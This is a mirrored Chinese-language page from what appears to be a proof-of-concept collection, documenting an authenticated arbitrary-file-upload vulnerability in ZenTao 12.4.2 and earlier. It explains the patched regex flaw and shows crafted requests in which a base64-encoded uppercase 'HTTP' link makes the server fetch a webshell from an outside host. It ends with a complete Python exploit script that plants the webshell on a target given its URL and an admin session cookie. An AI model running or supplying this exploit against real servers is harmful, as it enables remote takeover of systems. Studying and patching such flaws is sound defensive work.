mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-08 20:36:14 +00:00
241 lines
8.2 KiB
Markdown
241 lines
8.2 KiB
Markdown
# 禅道 12.4.2 后台任意文件上传漏洞 CNVD-C-2020-121325
|
||
|
||
## 漏洞描述
|
||
|
||
百度云安全团队监测到禅道官方发布了文件上传漏洞的风险通告,该漏洞编号为CNVD-C-2020-121325,漏洞影响禅道<=12.4.2版本。登陆管理后台的恶意攻击者可以通过fopen/fread/fwrite方法读取或上传任意文件,成功利用此漏洞可以读取目标系统敏感文件或获得系统管理权限。我们对漏洞进行了复现和分析,由于需要登录后台才可以利用,实际风险相对较低,建议受影响的禅道用户尽快升级到最新版。
|
||
|
||
## 影响版本
|
||
|
||
```
|
||
禅道 <= 12.4.2版本
|
||
```
|
||
|
||
## 环境搭建
|
||
|
||
百度下12.4.2的禅道环境按步骤安装下载即可
|
||
|
||
[禅道官方网站](https://www.zentao.net/)
|
||
|
||

|
||
|
||
调用接口查询版本信息
|
||
|
||
```plain
|
||
http://xxx.xxx.xxx.xxx/www/index.php?mode=getconfig
|
||
```
|
||
|
||

|
||
|
||
|
||
|
||
## 漏洞复现
|
||
|
||
漏洞触发需要后台权限
|
||
|
||
根据漏洞描述查看修改后的代码片段
|
||
|
||

|
||
|
||
**修改前**
|
||
|
||
```php
|
||
public function downloadZipPackage($version, $link)
|
||
{
|
||
$decodeLink = helper::safe64Decode($link);
|
||
if(preg_match('/^https?\:\/\//', $decodeLink)) return false;
|
||
|
||
return parent::downloadZipPackage($version, $link);
|
||
}
|
||
```
|
||
|
||
**修改后**
|
||
|
||
```php
|
||
public function downloadZipPackage($version, $link)
|
||
{
|
||
$decodeLink = helper::safe64Decode($link);
|
||
if(!preg_match('/^https?\:\/\//', $decodeLink)) return false;
|
||
|
||
$file = basename($link);
|
||
$extension = substr($file, strrpos($file, '.') + 1);
|
||
if(strpos(",{$this->config->file->allowed},", ",{$extension},") === false) return false;
|
||
|
||
return parent::downloadZipPackage($version, $link);
|
||
}
|
||
```
|
||
|
||
这里传入的参数为版本和link地址,然后base64解码,正则判断是否为**http**或**https**协议,这里的正则过滤并不完整,所以可以绕过用于下载恶意文件
|
||
|
||

|
||
|
||
可以大写**http**或请求**FTP**来绕过正则
|
||
|
||

|
||
|
||

|
||
|
||
跟进一下**parent::downloadZipPackage**这个方法,跟着来到**zentao\module\client\model.php**文件中
|
||
|
||

|
||
|
||
```php
|
||
public function downloadZipPackage($version, $link)
|
||
{
|
||
ignore_user_abort(true);
|
||
set_time_limit(0);
|
||
if(empty($version) || empty($link)) return false;
|
||
$dir = "data/client/" . $version . '/';
|
||
$link = helper::safe64Decode($link);
|
||
$file = basename($link);
|
||
if(!is_dir($this->app->wwwRoot . $dir))
|
||
{
|
||
mkdir($this->app->wwwRoot . $dir, 0755, true);
|
||
}
|
||
if(!is_dir($this->app->wwwRoot . $dir)) return false;
|
||
if(file_exists($this->app->wwwRoot . $dir . $file))
|
||
{
|
||
return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
|
||
}
|
||
ob_clean();
|
||
ob_end_flush();
|
||
|
||
$local = fopen($this->app->wwwRoot . $dir . $file, 'w');
|
||
$remote = fopen($link, 'rb');
|
||
if($remote === false) return false;
|
||
while(!feof($remote))
|
||
{
|
||
$buffer = fread($remote, 4096);
|
||
fwrite($local, $buffer);
|
||
}
|
||
fclose($local);
|
||
fclose($remote);
|
||
return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
|
||
}
|
||
```
|
||
|
||
可以简单看到这里获取link传入的文件名,通过**fopen**打开该文件,写入禅道目录**www/data/client/version**中
|
||
|
||
查看一下有没有调用这个方法的地方
|
||
|
||

|
||
|
||
找到了**download**方法调用了这个漏洞点,所以我们有两种下载恶意文件的方法
|
||
|
||
```plain
|
||
http://xxx.xxx.xxx.xxx/www/client-download-[$version参数]-[base64加密后的恶意文件地址].html
|
||
http://xxx.xxx.xxx.xxx/www/index.php?m=client&f=download&version=[$version参数]&link=[base64加密后的恶意文件地址]
|
||
```
|
||
|
||
首先先上传一个恶意文件,可以是FTP也可以是HTTP
|
||
|
||
例如我上传的文件URL为[**http://peiqi.tech/SHELL.php**](http://peiqi.tech/SHELL.php)
|
||
|
||
```plain
|
||
http://peiqi.tech/SHELL.php
|
||
|
|
||
base64加密 HTTP://peiqi.tech/SHELL.php
|
||
|
|
||
SFRUUDovL3BlaXFpLnRlY2gvU0hFTEwucGhw
|
||
```
|
||
|
||
请求地址则为
|
||
|
||
```plain
|
||
http://xxx.xxx.xxx.xxx/www/index.php?m=client&f=download&version=1&link=SFRUUDovL3BlaXFpLnRlY2gvU0hFTEwucGhw
|
||
```
|
||
|
||

|
||
|
||
下载的目录地址为**zentaopms\www\data\client\1**
|
||
|
||
目录为version名称
|
||
|
||

|
||
|
||
成功上传webshell
|
||
|
||

|
||
|
||
## 漏洞POC
|
||
|
||
- POC使用需要拥有后台Cookie
|
||
|
||
```python
|
||
#!/usr/bin/python3
|
||
#-*- coding:utf-8 -*-
|
||
# author : PeiQi
|
||
# from : http://wiki.peiqi.tech
|
||
|
||
import base64
|
||
import requests
|
||
import random
|
||
import re
|
||
import json
|
||
import sys
|
||
|
||
def title():
|
||
print('+------------------------------------------')
|
||
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
|
||
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
|
||
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
|
||
print('+ \033[34mVersion: zentao version <= 12.4.2 \033[0m')
|
||
print('+ \033[36m使用格式: python3 CNVD-C-2020-121325.py \033[0m')
|
||
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
|
||
print('+ \033[36mShell >>> http://xxx.xxx.xxx.xxx/shell.php(恶意文件地址) \033[0m')
|
||
print('+ \033[36mZentaosid >>> xxxxxxxxxxxxxx(cookie字段) \033[0m')
|
||
print('+------------------------------------------')
|
||
|
||
def POC_1(target_url):
|
||
version_url = target_url + "/www/index.php?mode=getconfig"
|
||
headers = {
|
||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
|
||
}
|
||
try:
|
||
response = requests.get(url=version_url, timeout=20, headers=headers)
|
||
version = json.loads(response.text)['version']
|
||
print("\033[32m[o] 禅道版本为:{}\033[0m".format(version))
|
||
|
||
except Exception as e:
|
||
print("\033[31m[x] 获取版本失败 \033[0m", e)
|
||
|
||
|
||
def POC_2(target_url, shell_url, zentaosid):
|
||
options = shell_url.split("://")
|
||
if options[0] == "http":
|
||
shell_url = "HTTP://" + options[1]
|
||
elif options[0] == "ftp":
|
||
shell_url = "ftp://" + options[1]
|
||
else:
|
||
print("\033[31m[x] 请使用正确的请求地址 \033[0m")
|
||
sys.exit(0)
|
||
|
||
headers = {
|
||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
|
||
"Cookie":"zentaosid={}".format(zentaosid)
|
||
}
|
||
|
||
shell_url_base = str((base64.b64encode(shell_url.encode('utf-8'))),'utf-8')
|
||
vuln_url = target_url + "/www/index.php?m=client&f=download&version=test&link={}".format(shell_url_base)
|
||
print("\033[32m[o] 请求漏洞url:{}\033[0m".format(vuln_url))
|
||
|
||
try:
|
||
response = requests.get(url=vuln_url, timeout=20, headers=headers)
|
||
if "保存成功" in response.text:
|
||
print("\033[32m[o] 成功写入Webshell,URL地址为:{}/www/data/client/test/Webshell_name.php\033[0m".format(target_url))
|
||
else:
|
||
print("\033[31m[x] 恶意文件下载失败 \033[0m")
|
||
except:
|
||
print("\033[31m[x] 恶意文件下载失败 \033[0m")
|
||
|
||
|
||
|
||
if __name__ == '__main__':
|
||
title()
|
||
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
|
||
shell_url = str(input("\033[35mShell >>> \033[0m"))
|
||
zentaosid = str(input("\033[35mZentaosid >>> \033[0m"))
|
||
POC_1(target_url)
|
||
POC_2(target_url, shell_url, zentaosid)
|
||
```
|
||
|
||
 |